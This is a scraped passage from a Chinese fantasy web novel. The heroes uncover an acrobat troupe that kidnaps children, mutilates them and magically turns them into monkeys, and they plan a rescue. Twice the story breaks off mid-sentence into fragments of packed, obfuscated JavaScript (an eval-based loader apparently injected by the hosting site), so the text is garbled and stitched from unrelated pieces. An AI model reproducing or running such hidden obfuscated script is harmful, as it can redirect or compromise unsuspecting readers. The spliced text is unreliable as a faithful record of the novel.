一会儿功夫,墨墨的肚子上就摆满了东西,香蕉、橘子、核桃,已经没地方放了,伏顺还抓了一把瓜子洒在空隙里。赵大海不能认输,干脆拿了一个琉璃果盘放在上面。 那果盘厚厚的很有些分量,墨墨却一动不动。段星河疑心儿子被他们压死了,歪着头看它,道:“不是,怎么这样都没醒?” 李玉真道:“有没有一种可能,它已经醒了,被你们压得动不了。” 他话音未落,就见步云邪从外头进来了,道:“你们见着墨墨了吗,我一上午都没找着它。” 众人顿时慌了,伏顺捡起旁边的棉袄盖在墨墨身上。段星河挡在他面前,没话找话道:“阿云,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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步云邪淡淡道:“应该是皇帝怕咱们卷钱跑了,派他出来看看吧。” 段星河觉得他们也太以小人之心度君子之腹了,道:“要跑早跑了,还等他们来抓?” 伏顺道:“那咱们怎么办?” 步云邪道:“不用管他,照常过日子就行了。” 一群人回屋打了一会儿叶子牌,玩得大呼小叫的,跟捅了猿猴窝似的。驿丞亲自过来叫他们,道:“钦天监的李司正来了,请各位大人过去见面。” 步云邪故意惊讶道:“这才初六,李大人怎么来了?” 驿丞道:“听说是视察公务,各位请跟我来吧。” 一群人便扔下了牌,整了整衣裳,跟驿丞去了后面的厢房。几名黑衣侍卫守在小院外面,张掖泡了一壶茶,毕恭毕敬地端了过来。 步云邪迈步进去,向李如芝拱手行礼道:“属下步云邪,拜见司正大人。” 李如芝靠在罗汉床上,一副爱搭不理的模样,就这么晾着他。李司正是钦天监的头领,他要这么摆谱,别人也不能把他怎么样。步云邪默默地磨了磨后槽牙,步家寨子的小王子给他行礼是给他面子,这蠢货却不识好歹,看来是想挨马蜂蛰了。 段星河等人也行过了礼,李如芝才慵懒地摆了摆手,道:“不必客气,都坐吧。” 众人各自拉了圆凳坐下,李如芝道:“好久没见了,陛下派我来给你们送几件冬衣,顺便看看炼药的进度。” 他看向步云邪,等他汇报工作。步云邪淡淡道:“炼药的事很顺利,我们已经找到了几味药材。还去长生观问过了方子,掌教方白鹭说其他的药材虽然名贵,只要有钱总能买到。只是与四神君相关的那几味药难得,可能要花一些时间寻访。” 李如芝对那方子了如指掌,自然知道玄武霜、朱雀烬、青龙竭和白虎须根本就是凡人无法得到的东西。他们若是强求,最终只怕会落得个丧命的结局。 皇帝对炼长生丹一事寄予厚望,对步云邪也十分器重,要什么给什么,简直对他百依百顺,平日里常常念叨,不知道步爱卿最近怎么样了。 李如芝对这小子横竖看不顺眼,巴不得他在外头一个不小心摔死了,或者被野兽咬死完事。如今一见,这几个人非但没有缺胳膊断腿的,反而活的越发精神了。 段星河本来还想混一混日子,敷衍钦天监的差事,没想到他们还要检查工作。幸亏步云邪一直都在收集药材,如今宫里派人来问,他们也有话可说。 步云邪道:“属下每个月都给宫里写一封信,汇报最近炼药的进度。这个月的报告我今晚就写完,明天寄回宫里去。” 李如芝道:“只有报告,没炼药么?” 步云邪想了想,都出来三个月了,不交点像样的东西确实说不过去,正好他手头还剩下几颗聚灵丹,是大补的好东西。他道:“属下精心炼制了五颗聚灵丹,能滋补气血,延年益寿,准备献给陛下。” 李如芝点了点头,端然道:“有成果就好,也不枉陛下一直惦念着你。把丹药给本官吧,我帮你呈上去。” 步云邪怕他暗地里给药动手脚,万一皇帝吃出什么毛病来怎么办?他谨慎道:“不了,属下明天写好了报告,跟丹药一起从驿站呈上去。” 两个人对视了一眼,明显互不信任。李如芝也怕他炼的药有什么问题,连累了自己就糟了。他摆了摆手,道:“罢了,把皇上赐的冬衣拿来。” 张掖去隔间抱了几个黄皮包袱过来,里头盛着一件白狐裘,四件黑呢子镶玄狐毛领的大氅。白色的那件是狐腋裘,厚实柔软,极其贵重难得。李如芝摆出一副关爱下属的姿态道:“这件白狐裘是陛下特意赐给步司业的,希望你感念皇恩,尽心为陛下效力。” 步云邪双手接过了狐裘,道:“多谢陛下赏赐,有劳李司正千里迢迢送过来。” 李如芝道:“无妨,好久不见,我也想你们了。” 两个人脸上带着微笑,暗里都咬牙切齿的,一点也看不出来有多想念对方。其他人各自领了衣裳,都挺高兴的。 李如芝催促道:“你们要勤勉做事,陛下很关注你们的工作,加快进度。” 众人纷纷答应了,李司正道:“还有事要说么?” 步云邪一早就等着了,此时从怀里掏出了一张信封,里头盛着从拍卖会上买东西的单据。他道:“这是购买药材的凭据,请大人报销。” 方才大家都在打牌,步云邪回去了一趟,原来是拿单据去了。段星河心里比了个大拇指,不能白让这姓李的摆谱,装了爷爷就得让他掏钱。 李司正接过去看了一眼,见上头写着买了一斤乌灵参,花了四百两银子,下头是凌烟阁拍卖会的印章。他皱起了眉头,道:“怎么这么贵?” 步云邪恭敬道:“给陛下用的,品质自然得最好的才行,这价格已经很便宜了。” 李司正看他就像看讨债鬼,幸亏不是自己掏钱。他叹了口气,收起来道:“等我给管账的审了,回头给你钱。” 步云邪微微一笑,道:“多谢大人。” 张掖送他们出了门,斜眼瞅着他们,怪声怪气地道:“几位慢走,千万别摔着。” 这人还记恨着伏顺从采石场里出来之后刁难他的事,这回翻了身,又狐假虎威的气人。走得远了,伏顺小声道:“装模做样的,一个狗奴才而已,能耐的他!” 赵大海道:“就是,那姓李的也没什么了不起的。” 段星河根本没把他们放在眼里,淡淡道:“就当是个小丑,看看算了。” 李如芝是替皇帝来盯他们的,万一回去胡说八道几句,就够他们难受一阵子的了。虽然无视他们才是明智之举,可就这么憋着也不得劲。 步云邪想着刚才被李如芝怠慢的情形,打算找补回来,道:“我出去一趟。” 段星河道:“你干嘛去?” 步云邪算盘打得门清,冷冷道:“找个药铺开收据,聚灵丹的钱我得跟他讨回来。我费了那么大功夫炼了那么久,不能让他们白吃了!” 23.吉祥百戏班 二 段星河也不愿留在驿馆看李如芝那些人的脸色,道:“我和你一起去吧。” 大年初六,街上的店铺渐渐开了,行人来来往往的。步云邪去药铺里敞开来挑,人参鹿茸燕窝冬虫夏草,不管有用没用,反正挑着贵的买。段星河道:“你要这些干什么?” 步云邪把一根虫草塞进段星河嘴里,道:“这玩意儿好出手啊,尝一根,大补的。” 他买的多,掌柜的上赶着巴结,也不嫌他们尝。步云邪让人开了收据,杂七杂八的加起来将近一百两银子,叫伙计打包送到驿馆去。他这么干其实也不算坑钦天监,毕竟他们在荒郊野外露宿了那么久,才打了那么几颗赤藤妖晶,总不能给上头白干了。 两人从药铺出来,天色将近黄昏了。街上有卖红糖糍粑的,用绿油油的箬竹叶包着,散发着一股清香。这是巴蜀的特产,他们已经好久没吃过了。段星河有些怀念,道:“你想吃吗?” 步云邪笑了,道:“你当我还小呢?” 段星河道:“谁规定长大了就不能吃的,在这等着。” 他老跟师弟妹们这么说话,都习惯了。步云邪看着他的背影不觉笑了,觉得这样也挺好的。 小时候去青岩山下的镇子赶集,师娘总会给他们点零花钱,每次一二十文,够买点小零食吃的。大家都很期待师娘选中自己,但师娘大多数时候选的都是段星河跟赵大海,毕竟他们俩个头最大,两个小伙子能顶头牛使唤。 步云邪作为祭司,每年夏天都要待在星垂殿里为寨子祈福,不能外出。段星河有了钱,便带着吃的偷偷去找他玩,有时候是糯糯的红糖糍粑,有时候是金黄透明的桂花冻,有时候是一大把鲜红饱满的杨梅,还带着墨绿的叶子,一咬全是又酸又甜的汁水。 步云邪虽然不缺那一口吃的,但很盼着有人给自己解闷,每次见他来都很高兴。作为交换,他给段星河做了许多护身符,红的蓝的绿的五颜六色,段星河都攒了一箩筐了。 段星河的荷包里就放着一个蓝色的增进修为符,还是今年夏天刚做出来的。步云邪正心正念闭关祈祷三个月,在灵力最强的状态下画的符,跟大年初一的头香似的,人人都抢着要,他却悄悄地给大师兄了。 段星河高兴之余,又觉得有点不妥,道:“这样不好吧?” 步云邪理所当然道:“有什么不好的,我画的符,想给谁就给谁。” 段星河道:“第一张不是要给你爷爷的么?” 步云邪道:“我爷爷用的是健康长寿的,给你的是帮助修炼的,又不一样。反正你收着就行了。” 虽然知道他是在强词夺理,段星河还是很领他的情,贴身收着护符修炼,进境果然比别人更快。 他们俩早就打算好了,以后段星河当逍遥观的掌教,步云邪就当步家寨子的族长,两个人头发胡子都白了,还能一起下棋喝茶,一块儿守着青岩山,运气好的话还能一同飞升,伯牙子期都要羡慕他们了。 步云邪这么想着,段星河已经买了一大份红糖糍粑回来了。糍耙上浇着浓浓的红糖浆和黄豆粉,用粽子叶和油纸包着,里头放着几根竹签。步云邪插了一块吃了,感觉又甜又糯的,是小时候的味道,弯起了眼道:“好吃。” 段星河也插了一块,跟他一起边吃边走。往前逛了一阵子,忽然听见街对面有妇人呜呜地哭。一间干果铺子的老板娘拿铲子翻了一会儿桂圆,忽然难过起来。她一屁股坐在竹椅上,哽咽道:“小胜,你最喜欢吃桂圆和松子。娘以前舍不得让你吃,你回来,娘剥给你吃,让你吃个够!” 她丈夫从屋里出来,低声道:“大过年的,别在这里哭,让人说咱们晦气。” 他不劝还好,一这么说,妇人登时恼怒起来,道:“孩子丢了你也不急,你还是不是他爹了?” “我怎么不着急,”男人道,“小胜丢了两天了,我每天都出去找,也去报官了,找不到能怎么办啊!” 妇人抄起一根扫帚,追着男人就打,大哭道:“让你看好了你不看,我才一转身的功夫就不见了。孩子是我身上掉下来的一块肉,你没怀胎十月你不心疼,还嫌我丧气!我告诉你,孩子找不回来,我就一头撞死在你门前,让你们老刘家丧气一辈子!” 男人不敢还手,被打的到处乱窜。街坊见了纷纷过去劝,一个卖布鞋的老婆婆道:“先别闹了,想办法把孩子找回来最重要。过年人多,好多拍花子的到处乱转,大家都帮着留个神,看看孩子去哪儿了。” 一个小伙子道:“嫂子你别急,我们等会儿再出去找一找,肯定把孩子找回来。” 街对面的咸鱼铺子跟他们有旧怨,老板娘此时冷眼看热闹,小声道:“哭有什么用,说不定就是让人牙子拐走了,掰的缺胳膊断腿的去要饭,一辈子都见不着了。” 人家孩子丢了,她还在这里幸灾乐祸。段星河觉得那卖咸鱼的有点刻薄,忍不住道:“你见着那孩子跟谁走了?” 卖咸鱼的小妇人白了他一眼,道:“谁知道他孩子跑哪儿去了,一天到晚皮的要死,放猫来偷我的咸鱼,说他又不改,一年到头被他霍霍了我多少鱼干,他娘也不管他。这不让人骗走了,就是报应!” 段星河想了一下那情形,觉得这小孩是够淘气的。他道:“那孩子多大?” 卖咸鱼的妇人比划了一下,道:“五岁,叫刘小胜,才这么大点,皮的嘞。” 孩子的娘还在街对面哭,围了一群人。咸鱼铺子的老板娘露出一丝讥诮的笑,一手叉着腰,颇有些咸鱼翻身的意思。段星河道:“就丢了这一个么?” 小妇人反问道:“你买咸鱼么?” 段星河道:“不买啊。” 小妇人道:“不买你这么多话,前头有官府的告示牌,自己看去!” 她拍了拍摊子上的灰,一股浓烈的咸鱼味扑面而来,把那两人逼得退开了。 两人往前走了几步,见告示栏上贴着官府的悬赏,几个路人正围在这里看。上头写着:“近日镇中丢失了几名儿童,画影图形如下。希望各家各户看好自己的儿女,能提供有效线索者,赏银一百两。” 告示下面画着五个孩子的模样,有男有女,大的不过七八岁年纪,小的也只有四五岁。下头写着孩子的名字和年龄,都是过年这几天失踪的。 围观的人纷纷道:“作孽,这么小的孩子,怎么狠得下心的?” 又一人道:“怕不是被拐去做奴婢了,要不然就是卖给生不出孩子的人家了。” 另一人道:“那都是好的,要是被直接掰断了手脚放出来乞讨,那得有多惨?” 众人的神色凝重起来,一人道:“哎,大过年的,别说这么吓人的话。” 又有人道:“悬赏这么多钱,要是谁有线索,可不是要大赚一笔?” 其他人也有些蠢蠢欲动,奈何没有一点头绪,看了一会儿便散去了。那些孩子就算再顽皮也是父母的宝贝,就这么失踪了,一整个家庭就都散了。段星河想着刚才那些人的话,他们还没在这城中见过被掰断手脚的乞丐,哪里会有这种怪人? 步云邪见他若有所思,道:“你想管么?” 段星河道:“管一管也行,反正有钱赚嘛。” 步云邪也动了恻隐之心,想了想道:“你说那杂耍班子可不可疑?” 自从那个杂耍班子来了之后,这些孩子就开始失踪了。段星河对那些残缺的侏儒的印象十分深刻,这件事说不定跟他们有点关系。 眼看天要黑了,方便掩盖行踪。段星河道:“是有点奇怪,上那边瞧瞧去。” 两人趁着夜色深沉,来到了城东老戏楼。这边晚上还在演出,百姓们抱着孩子过来看杂耍。戏楼里传来一阵又一阵的欢呼声、大笑声,灿烂的灯火从楼里透出来,气氛热烈得很。 吉祥百戏班在老戏楼后面扎了个帐篷,旁边停着几辆大车,只留了两个人在这里看着东西。那两人手里提着酒葫芦,面前的矮桌上摆着一碟花生米,百无聊赖的正在吹牛。段星河和步云邪绕开了前头有灯光的地方,悄悄潜过去,来到了后面的帐篷里。 帐篷里黑黢黢的,段星河睁大眼看了片刻,见都是一些装杂物的箱子,有的盖子没关,戏服和表演用的道具从里头溢了出来。步云邪随手打开一个大箱子,里头装着五六具木偶。仔细看来,那些木偶有的缺胳膊,有的少腿,有的没有鼻子,有的少一只眼睛。步云邪提起了一只独眼的木偶,道:“弄这个干什么,不嫌瘆得慌么?” 那些木偶歪头耷脑地靠在一起,嘴咧得老大,虽然残缺,却一个个都在开怀大笑,有种怪诞的感觉。 段星河觉得再多看一眼,自己也要变得奇怪了。他把木偶放了回去,盖上了箱子道:“出去看看吧。” 两人猫着腰出来,往后走去,见一辆大车上装着五个铁笼子,每个笼子里都关着几只小猴。猴儿们一见到来了人,都害怕地向后缩去,抱着头发出吱吱的叫声,看来平时没少挨杂耍班子人的打。 步云邪轻声道:“别害怕,我们不是坏人。” 其他猴子依旧吱哇乱叫,十分惊恐。步云邪自己就养灵兽,见不得它们这么害怕,道:“我们是来找人的,城里丢了好多小孩儿,他们的爹娘很着急。” 段星河道:“说这个没用,它们又听不懂。” 这时候一只小猴儿试探着走过来,爪子抓住了铁栏杆,黝黑的眼睛望着他们。段星河有些诧异,道:“你听得懂我们说话?” 小猴儿吱吱叫了几声,用力跳了几下。段星河想起这些小猴儿还会画画、做算术,灵性强得很。他道:“你见过有小孩儿被他们抓来么?” 小猴儿点了点头,显得特别迫切。段星河跟步云邪都有些惊讶,也不知道它是不是真的明白这话是什么意思,还是在乱点头。段星河道:“那些孩子在哪儿?” 小猴儿还没回答,忽听不远处那两人道:“好像有人说话。” 另一人道:“是猴子闹腾,大晚上的不消停,打一顿就好了。” 他提起一根木棍,拖在地上慢吞吞地走过来。段星河和步云邪连忙躲到了帐篷后面,见那人拿起棍子哐哐敲了铁笼子几声,把猴儿们吓得吱吱乱窜。那人打了个酒嗝,挺着肥胖的肚子大笑起来,有种欺凌弱者的得意。步云邪皱起了眉头,道:“能的他!” 事情还没有眉目,段星河暂时不想惊动他们,低声道:“先回去吧。” 两人回到了驿馆,赵大海和伏顺、李玉真还没睡,正凑在一起打牌,输了的往脸上贴一张纸条。李玉真本来不会,最近也被他们带上道了,抬头道:“步兄,药铺有人给你送了一大筐药材过来,我帮你收屋里去了。” 步云邪道:“多谢,李司正看见了么?” 李玉真道:“没吧,伙计来的时候天都黑了,没人注意。” 步云邪便放了心,在一边坐下了。伏顺贴了满脸白胡子,一说话吹得纸条乱飘,道:“你们上哪儿玩去了,这么晚才回来。” 段星河道:“城里有小孩不见了,你们知道么?” 伏顺道:“我前天见街上有人到处找孩子,爷爷急的不得了,说上了个茅房的功夫孩子就不见了。还没找到呢?” 步云邪道:“不止丢了一个,告示上就画了五个了。” 众人都十分意外,李玉真放下了牌道:“这么多,怎么回事?” 段星河喝了口茶,把白天见的事说了。众人的神色凝重下来,犹豫着要不要掺和进去。 伏顺道:“那些人好像挺不好惹的,还会玩蛇。反正有官府呢,要不咱们还是别管了吧?” 他说的也不是没有道理,然而一想起白天那小孩儿的母亲哭得撕心裂肺的模样,步云邪就有些不好受。 李玉真看出他想管,道:“闲着也是闲着,去挣点钱也行。” 墙角发出啪啦啪啦的声音,墨墨趴在一张毯子上,面前放着个松果球,是白天赵大海从院子里捡来给它玩的。它用爪子拨来拨去的,一会儿啃一啃,跟个刚长牙的小孩儿似的。 步云邪觉得若是自己的灵兽丢了,都要难受的不得了,何况人家丢了孩子呢。他道:“其实也不是钱不钱的事,咱们既然有这个能力,就不能坐视不理,要不然还修什么道?” 他不像外表看起来那么高冷,其实心地很善良。段星河寻思道:“现在城里的风声紧,骗小孩儿的都很警惕了。咱们想个办法,怎么引蛇出洞?” 众人寻思了片刻,李玉真道:“与其主动找他们,不如守株待兔。咱们就去小孩儿多的地方藏着,看有没有拍花子的去绑小孩儿,遇上了就来个顺藤摸瓜,你们觉得怎么样?” 赵大海道:“那要是等不到怎么办?” 伏顺无所谓道:“等不到就等不到呗,反正也不是咱们家孩子丢了,这么认真干什么。” 他这么说,大家忽然想起了小师妹。魏小雨跟那些小孩儿的年纪差不多,只希望她不要遇上这样的事。 段星河心里沉甸甸的,神色也变得严肃起来。步云邪仿佛能看透他的心思,道:“咱们若是能帮忙找回这些孩子,上天也会保佑小雨平安的。” 段星河叹了口气,只能希望如此。他道:“这附近有没有小孩儿玩耍的地方?” 伏顺道:“我知道,城西有个废弃的琉璃厂,好多小孩儿喜欢在那里挖石头和琉璃小件。城南有条小河,有些小孩儿一散了学就去那里捞虾米、打水漂,大呼小叫的老能吵吵了。” 赵大海以前就说他脚丫子不值钱,整天在外头溜达,这才刚来一阵子就把城里的事都摸清楚了。段星河倒是对他的情报很满意,道:“那就兵分两路吧,我跟阿云一组,去小河边守着。你们三个一组,去琉璃厂看看。” 次日下午,段星河和步云邪来到了城南的小河边。这里视野开阔,不好隐藏,所幸附近有一间茶楼。两人在二楼找了个靠窗的地方,点了壶茉莉香片坐着。 段星河喝了口茶,静静地看着外头。他头上戴着网巾,半长不短的马尾从后面垂下来,穿着一身深蓝色的交领袍,扎着利落的剑袖。他眉眼里还有些少年人没褪尽的稚气,却也已经露出成年人的锋芒了。 段星河转过眼来,发现步云邪一手托腮,正盯着他看。他道:“怎么了?” 步云邪道:“你最近是不是又高了?” 段星河道:“高了吗,好一阵子没量了。” 他觉得自己跟从前没太大差距,不过男人长得魁梧是好事,自己要带这么多人,个头高大一些也能让兄弟们有安全感。 喝了一阵子茶,外头依然静悄悄的。步云邪道:“今天等不到怎么办?” “那就明天再来呗,”段星河道,“反正师父在闭关。李司正也在驿馆里,还不如出来躲会儿清静。” 步云邪也不想跟李如芝打交道,那人小心眼儿还爱拿架子,一见他就烦。段星河提醒道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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段星河沉默下来,他俩好像也不是省油的灯。他去寨子里找步云邪玩的时候,曾经近距离观察过大鹅下蛋。那只鹅是头一次下蛋,尤其费劲。好不容易冒出了半截,上面还带着血,他手欠又给人家按回去了。 后来那只鹅每次看到他,都张开翅膀直冲过来,张开大嘴拧他。段星河道:“那只鹅……” 步云邪也想起了他们干过的坏事,道:“它老咬你,我爷爷把它炖了。” 段星河啧了一声,道:“是我不好,不过鹅肉确实挺好吃的。” 步云邪笑了,道:“你知道鹅有几种写法么?” 段星河道:“一种啊。” 步云邪道:“错,是四种。” 他沾着茶水,缓缓在桌子上写了四个字,鵝、鵞、?、?。 段星河想起了自己被大鹅追得上蹿下跳的情形,忍不住笑了。难怪一个鹅字有这么多写法,造字的人肯定是有故事的。 两个人说着话,楼下的小孩儿扎成一堆,也在叽叽喳喳地聊天。一个小孩儿穿着红缎子的新棉袄,打扮得格外光鲜,自豪地说:“昨天我爹带我去老戏楼看杂耍。有个人从嘴里往外吐蛇,威风的不得了。还有白鼻子小丑,能踩木球、踩高跷。喔,还有好多小猴儿,会钻火圈,还会画画,可好看了!” 其他小孩儿听得出神,都十分向往。但父母舍不得带他们去看,他们只能听伙伴们说看到的情形。方才那个炸粪坑的小孩儿不服气,道:“你骗人,哪有会画画的猴子!” 那个穿红袄的小孩儿道:“就是有,它画了一只大元宝,还跟人作揖拜年呢。” 小孩们分成了两帮,一帮说他骗人,另一帮愿意相信他。 段星河喝了杯茶,淡定道:“不用吵,他说的是真的。” 然而那群小孩儿听不到,一直吵吵嚷嚷的。没去过的嫉妒去看过的,去看过的瞧不起没看过的。大家虽然天天在一起玩,却因为贫富差距积怨已久,也不知道谁先动了手,推了对面的小孩儿一把。两边很快就打在了一起,有人摔倒在地,放声大哭起来。 “呜呜呜——哇——你们欺负人,我告诉你娘去!” 有小孩儿喊道:“你去啊,就知道告状,看不起你!” 步云邪一手捂着额头,道:“跟哨子似的,真能喊啊。” 茶楼的伙计听见孩子们打架,从后门出来,把白毛巾往肩上一甩,吆喝道:“都多晚了,别在这儿闹,赶紧回家去。” 小孩儿们还不服气,道:“就不走、偏不走!” 伙计把脸一扳,道:“不听话是不是,我可找你们夫子去了,在哪个学堂读书,嗯?” 小孩们最怕夫子打手板,也不打架了,捡起了书包一哄而散。段星河把茶钱留在桌上,道:“跟上去。” 天色渐渐暗下来了,那叫二狗的灰衣小孩儿垂头丧气地走在街上,方才跟人打架的时候,他脸上擦破了皮,衣服也撕了道口子。他今天虽然赢了好几张纸壳,但衣服弄破了,回家爹娘又要骂自己。 他因为炸了粪坑,大家都嫌他臭,各自跑了,只剩下他一个人慢慢地走在路上。 二狗想着刚才听人家说老戏楼的杂耍有多好看,眼前仿佛浮现起了许多小猴钻火圈的情形,羡慕得很。那红衣小孩儿家里是卖皮货的,天一冷卖的皮子多,挣得也多。自己的爹是泥瓦匠,挣不到几个钱,也舍不得带自己去看热闹。 他踢起一块小石头,喃喃道:“有什么了不起的,我才不稀罕呢。” 小石头噼里啪啦地往前滚了几下,在一个人脚边停下了。灯笼红幽幽的光照下来,把一个人的影子映得极长。那人低着头,好像在寻找什么。 二狗走过去,就见一个穿着绿衣裳的男人,鼻子上抹着一道白,模样有点滑稽。他的衣裳肥大,一只眼上蒙着个黑眼罩,和气道:“小朋友,你见着我的手绢了么?” 二狗本来都不理会陌生人的,但见他一副小丑的打扮,心微微一动。他四下张望,忽然见一块粉色的手绢落在一棵大树旁边。他过去捡了回来,递给了那绿衣小丑。 小丑顿时高兴起来,道:“多谢,有了它我就能变戏法了。” 二狗抬头望着他,道:“你是杂耍班子的人么?” 小丑道:“是啊,你想看看吗?” 二狗道:“你会什么?” 小丑道:“我呀,会大变活人,会教小猴儿写字,还会……空手变糖!” 他说着,把手绢往手上一搭,再张开手的时候,手心里满是五颜六色的糖块。二狗登时睁大了眼,小丑笑呵呵地说:“你帮我找到了手绢,作为报答,我请你去看杂耍好了。” 二狗蠢蠢欲动,想起爹娘和夫子的话,又有些犹豫。小丑道:“去么,不去我可走了。” 他说着转身就走,二狗听别人说的绘声绘色的,实在很想去看。他连忙快步跟上去,道:“等等我!” 天又冷又黑,这边偏僻,路上已经没人了。小丑走了一阵子,笑嘻嘻地抬手往天上一指,二狗抬头望去。那小丑忽然一掌砍在小孩儿的后颈上,把他劈昏了。 二狗倒在了地上,小丑从肥大的袖子里抖出一个麻袋来,把人装了进去。 段星河藏在后头的小巷子里望着那边,皱起了眉头,道:“还真是他们。” 他本来以为这些拍花子的抓人用的是蛮力,没想到还是愿者上钩。眼看那人背着麻袋走远了,段星河一拉步云邪,道:“走。” 24.吉祥百戏班 三 夜色中灯火阑珊,老戏楼里照旧有演出。城里的百姓看的差不多了,来的人也没那么多了。 段星河和步云邪追着那小丑来到了老戏楼后面的营地,几座帐篷连在一起。其中一座帐篷里透出幽幽的灯光,两人蹑手蹑脚地过去,就见刚才那个穿绿衣裳的小丑坐在里面。 二狗已经醒了,被绑在一根柱子上。他嘴里堵着一块布,惊恐地看着面前的人。那绿衣小丑笑呵呵地看着他,道:“小朋友,你爹娘没跟你说过,不要跟陌生人走啊?” 二狗后悔的不得了,眼泪汪汪的,嘴里呜呜直叫。绿衣小丑把布从他嘴里抽出来,弯下腰道:“你说什么?” 二狗也不敢喊,只是低声哀求道:“大叔,求求你放我回去吧。” 小丑笑了,道:“傻孩子,你来了这里,就再也走不了了。这样吧,我给你一个优待,你可以自己挑一个木偶做你的朋友。” 他打开了面前的木箱子,把几个木偶抱出来,稀里哗啦地扔在地上,道:“来来来,挑一个你喜欢的,别客气。” 那些木偶歪七扭八地靠在一起,有的缺眼睛,有的缺胳膊少腿,看起来十分诡异。那小丑弯下腰,从旁边拾起一把雪亮的砍刀,显得很是兴奋,不知道在期待什么。 一个独腿汉子抠着虱子靠在角落里,懒洋洋地道:“小孩儿,我劝你别选。当初老子选了个缺腿的,就变成现在这个熊样了。” 他拍了拍自己断了半截的大腿,露出了幸灾乐祸的笑容。段星河心中一凛,原来这些木偶是这么用的,被拐来的小孩儿选中了缺什么的木偶,就会被割掉那一部分,扮成奇形怪状的畸形人供观众取乐。 小丑把脸一沉,道:“快选,听见没有。” 二狗浑身发抖,害怕地哭了起来,道:“我都不要,我想我娘,我要回家!” 他的哭声越来越大,外头的人都要听见了。小丑掴了他一巴掌,恶狠狠地道:“再哭我就把你胳膊腿儿全卸下来,装在泡菜坛子里让人看,一次收十个铜板!” 他还真能说到做到,二狗打了个寒战,不敢大声哭了,眼泪却一个劲儿地往外淌,追悔莫及。他哑声道:“娘,我错了,我再也不炸粪坑了,也不跟人打架了,我好好念书,对不起……” 绿衣小丑道:“错啦,炸人粪坑也不打紧,重要的是别跟陌生人说话,下辈子注意点啊。” 那独腿人哈哈一笑,把自己的另一条腿往前一掰,搭在了肩膀上,道:“小孩儿,你看这好不好玩?以后我教你怎么把关节卸下来,一开始有点疼,习惯了就好了。我正好缺个讨饭搭子,你就跟着我就行了,每天晒晒太阳抓抓虱子,包你比上学自在多了。” 绿衣小丑啐了一口,道:“你可别在这儿装了,都弄死几个小孩儿了,缺条腿都碍不住你走后门!” 独腿人道:“你瞎说什么呢,老子是大大的好人,最会调教小孩儿了。” 步云邪感到了一阵恶心,低声道:“这帮畜生!” 那独腿乞丐挤眉弄眼道:“把他给我,我帮你教他规矩。” “滚蛋,”那绿衣小丑不耐烦道,“老子拐个人容易么,你都给我玩死了,变个牲口也不给你!” 他说着打开另一个箱子,从里头拿出一张黄色的皮子来,解开了二狗身上的绳索。二狗拔腿就要跑,绿衣小丑一把揪住了他,嘿嘿一笑道:“小子,你跑不了喽!” 他把那张黄色的皮子往二狗身上一蒙,口中念诵咒语,就见皮子在小孩儿身上越裹越紧,渐渐地跟他融合在一起。 “爹,娘——呜呜呜呜——” 二狗被勒得浑身疼痛,满地打滚,哭闹声渐渐变成了吱吱的叫声。他难以置信地看着自己,他身上长出了黄色的绒毛,手上生出了尖锐的爪子,又长出了长长的尾巴,竟然就这么变成了一只猴子! 他想大叫救命,发出的声音却成了:“吱,吱吱——” 二狗慌张的要命,想要逃跑,可自己的灵魂就被困在这张猴皮下面,他能往哪里逃? 绿衣小丑见多了这场面,哈哈一笑道:“别怕,以后你就是咱们的猴儿了,好好听话,我就给你一条活路。” 段星河和步云邪感到了一阵毛骨悚然,联想到笼子里关着的那些小猴儿,顿时明白了。难怪那些猴儿那么聪明,能听得懂人话,会画画,还会算数,原来它们本来就是人变的! 先前他们来的时候,就有一只小猴儿想跟他们交流,被人打断了。它若真是人类变的,看着这么多人以自己取乐,说什么都没人听得懂,该有多绝望? 绿衣小丑一把提起了那只小猴,道:“咱们这儿还有不少猴子呢,走,我给你找个伴去。” 他大步往帐篷外走来,段星河和步云邪连忙躲到了帐篷后面,屏住了呼吸。月光照下来,两人见他打开一个铁笼子,把小猴儿扔了进去,跟其他猴子关在了一起。 看守营地的大汉提着棍棒敲了敲铁栏杆,喝道:“都够我老实点,要不然今晚吃猴脑!” 猴子们惊恐地缩在一起,不敢出声。那两人十分得意,勾肩搭背地喝酒去了。步云邪低声道:“怎么办?” 他们就两个人,杂耍班子里却有三十来个人,万一惊动了其他人就是捅了马蜂窝。段星河道:“先回去吧,多叫几个人再动手。” 驿馆里灯火通明,李玉真他们已经回来了。三个人在琉璃厂附近守了一下午,看着一群小孩儿大呼小叫地挖了好久泥巴,没发现什么异常。回来时魏清风出关了,众人便把城里丢小孩儿的事告诉了师父,说他们正在帮忙寻找。 魏清风对这件事很支持,说:“这是件大事,咱们有余力,是该帮一把。” 几个人喝了一会儿茶,见段星河他们回来了,道:“怎么样?” 段星河把刚才见的事跟他们说了,众人都吃了一惊。赵大海道:“啊……这不是伏顺说的那个变驴的故事么,还真有这样的事?” 伏顺道:“我就跟你说不是瞎编的,我爷爷说他是亲眼见过的!” 李玉真道:“他们到底是什么人,前辈,你知道么?” 魏清风的神色变得凝重起来,道:“说不定就是千机门的人,他们最喜欢把各种东西融合在自己身上,做出了好多怪物。之前我就觉得那些戏班子的人可疑,弄那么多机关接在断手断脚上,很像他们一贯的作风。” 魏清风说着握紧了拳头,显得有些愤怒。碣石观的道友被千机门的人杀害,他一直想找那些人报仇,如今遇上了,绝不能轻易放过他们。 段星河沉默着没说话,心中却觉得有些不对。那杂耍班子的人从外表看都擅长使用机关,还养了一个机械巨人,但他们行为的内核却好像并不是贪婪,而是别的什么。 他也不确定自己的感觉对不对,但不管他们到底信仰什么,这些人祸害了不少孩子,除掉他们总是没错的。 夜色浓重,寂静的冬夜格外寒冷。魏清风站了起来,果断道:“趁着天黑,咱们去把那些孩子救出来。” 步云邪道:“若是被那些人发现了怎么办?” 魏清风抓起了剑,道:“先保证孩子的安全。那些恶人若是敢顽抗,就把他们都杀了,为民除害。” 